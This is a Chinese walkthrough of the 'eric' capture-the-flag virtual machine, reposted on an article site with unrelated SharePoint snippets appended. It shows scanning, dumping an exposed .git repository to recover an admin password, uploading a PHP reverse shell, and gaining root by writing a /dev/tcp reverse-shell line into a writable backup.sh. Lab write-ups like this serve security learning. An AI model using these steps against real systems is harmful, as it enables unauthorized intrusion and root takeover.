SP: eric

2024-08-28 05:36
文章标签 sp eric

本文主要是介绍SP: eric,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

靶机搭建

靶机下载地址

在Virtualbox中打开下载好的靶机,网络配置修改为桥接模式,启动靶机即可。

信息收集

主机发现

nmap 192.168.31.0/24 -Pn -T4

靶机IP:192.168.31.244

端口扫描

nmap 192.168.31.244 -A -p- -T4

根据端口扫描结果可知开放了22,80端口,并且80端口的http服务直接暴露了/.git/(Git是一个被用于协同开发和代码刮玻璃的开源分布式和版本控制系统),可以考虑git信息泄露。

web站点信息收集

访问80端口。

直接访问/.git提示forbidden。目录扫描看看有没有其他信息。

dirsearch -u http://192.168.31.244

看到/.git下还有很多目录文件,一些能访问,大概率就是git信息泄露。根据文件内容猜测用户名是admin。 

访问/admin.php,一个登录页面。用户名admin,密码尝试sql万能密码失败并提示不需要暴力破解。

渗透

git信息泄露漏洞

git泄露漏洞产生原因:由于开发人员用git进行版本控制,对站点自动部署,如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

使用githack下载Git存储库获取包含未加密密码。

python2 GitHack.py http://192.168.31.244/.git

到提示的文件夹看Git数据库。在admin.php中发现用户名和密码,admin:st@mpch0rdt.ightiRu$glo0mappL3

访问admin.php成功登录后是文件上传功能点。

利用文件上传getshell

上传反弹shell,用kali自带的php-reverse-shell.php(/usr/share/webshells/php),记得要修改ip和port。

前面目录扫描得到一个路径/upload,猜测文件上传的保存路径是/upload。nc开启监听,访问/upload/php-reverse-shell.php。

# 获得交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

get flag.txt!

提权

eric家目录下不仅有flag.txt,还有backup.sh,可读可写可执行。

在backup.sh中写入反弹shell即可拿到root权限。

# 向backup.sh写入反弹shell
echo 'bash -i >& /dev/tcp/攻击机ip/5555 0>&1' > backup.sh
# 运行backup.sh
./backup.sh
# 攻击机监听端口
nc -lvp 5555

拿到root shell。

get flag.txt!🎆

这篇关于SP: eric的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1113874

相关文章

副本技能-亚马逊SP-API的依赖SDK包生产

1.环境配置 需求:Java环境,Maven环境,均需配置环境变量(可自行百度)! 2.下载api的接口模块代码 selling-partner-api-models项目GitHub库 3.下载 Swagger 代码生成器 Swagger代码生成器下载地址 自己找个目放着就好 4.查找SDK的配置JSON文件 SDK的接口配置JSON路径:selling-partner-api-mo

sqlserver中exec/sp_executesql的使用

--动态语句语法/******************************************************************************************************************************************************动态语句语法:exec/sp_executesql语法***********

天津国芯SP下载工具 加个防呆 避免选了OTA升级的固件(后缀带有SIG.BIN)

V2.1 20240828 天津国芯SP下载工具 加个防呆 避免选了OTA升级的固件(后缀带有SIG.BIN) 兆讯的芯片1902首次下载必须先下载key,再下载加密固件。 天津国芯没有这个限制,固件是明文的。 自测使用的版本信息: 本地最新代码 依赖版本信息(SP\POSSERVER\SMA):不依赖 修改点:如果选择的固件文件的后缀带有SIG.BIN,提示错误并清除路径,否则就正常处理。

改VS2008 MFC项目 C语言1改字体,2颜色,3界面禁用项 CCM4202S量产SP下载工具 天津国芯

效果 1改字体 用progresss上画文字,并改字体及大小 要修改 DrawText 函数绘制文本的字体大小,你需要在绘制之前设置设备上下文的字体。这里是一个完整的示例,展示了如何在使用 DrawText 函数之前设置字体大小。 假设你已经有一个 HDC 设备上下文 (hDc) 和一个文本字符串 (szText),以及用于绘制文本的矩形区域 (rectClient)。你可以按照以下步骤来

一步步学习SPD2010--第三章节--处理列表和库(18)----删除SP对象

你可以使用SPD删除许多SP对象。例如,可以删除列表、库、文件、网站列、内容类型和列表栏目。然而,不能删除列表项目。任何列表、库、页面、文件或列表项目,无论在浏览器中还是SPD中删除,都保存在回收站,你可以还原。当你删除SP对象,如列表栏目、自定义操作、网站列和内容类型时,他们不再保存在回收站,还原过程也更复杂,并涉及到IT部门。         本次练习中,你删除一个列表、

如何使用外部数据列创建SP列表

MS SP Server2010提供了名为外部数据的字段类型,对所有常规SP列表(除了外部列表)都可用。外部数据字段类型使用户能够从BDC(业务数据连接)服务认证的外部内容类型添加数据到SP列表。本话题向你讲解创建外部列表还是在常规SP列表使用外部数据列。 使用外部数据列创建SP列表        1.     要在服务器上创建文档库,在客户端或服务器电脑操作一下步骤:

一步步学习微软InfoPath2010和SP2010--第四章节--处理SP列表表单(2)--列表表单布局

将SP列表转化为InfoPath好处之一是,更多选择来丰富表单外观、颜色和控件安排等。以填表人视角思考,开发表单使之更容易使用。InfoPath中,你有很多表格布局模板,可以创建自定义表格、修改单元格边距底纹,以及插入图片等。本章练习帮你获得信心,创建更好更易用的表单。         下面的练习中,你将自定义InfoPath表单布局使之更加专业。使用2010布局和表格功能,

一步步学习微软InfoPath2010和SP2010--第四章节--处理SP列表表单(1)--SP列表基础

SP列表是一个简单的项目列表,项目由一个或更多栏目组成。与电子数据表或数据库表类似。最简单的形式,SP列表只包含标题栏目,即自定义列表。可以选中自定义列表,添加和修改任何栏目来创建业务解决方案。也有其它模板可以选择,如联系人模板(如果要创建人员列表时)。SP列表包含一些如下基础的部分: 1.      栏目         也指域,栏是列表中项目的属性。例如,联系人列表中,

一步步学习微软InfoPath2010和SP2010--第四章节--处理SP列表表单

本章内容: 1. 转换SP列表表单到InfoPath 2. 处理域和控件 3. 修改列表表单布局 4. 理解列表表单缺点         在MS SP 2010和SP Online中,SP列表表单可以使用MS InfoPath 2010进行自定义。默认地,当SP列表被创建时,如人物、联系人和其他自定义列表等,我们要填的表单是ASPX网页。这些类型网页表单的问题是,自定义它

BEGINNING SHAREPOINT® 2013 DEVELOPMENT 第13章节--使用业务连接服务创建业务线解决方案 SP Apps中的BCS

BEGINNING SHAREPOINT® 2013 DEVELOPMENT 第13章节--使用业务连接服务创建业务线解决方案  SP Apps中的BCS 之前的联系中,你安装了一个业务数据连接模型到SP Online,你创建的外部内容类型变成可用的“万能钥匙”,可以在任何网站集中使用--当然受权限的限制。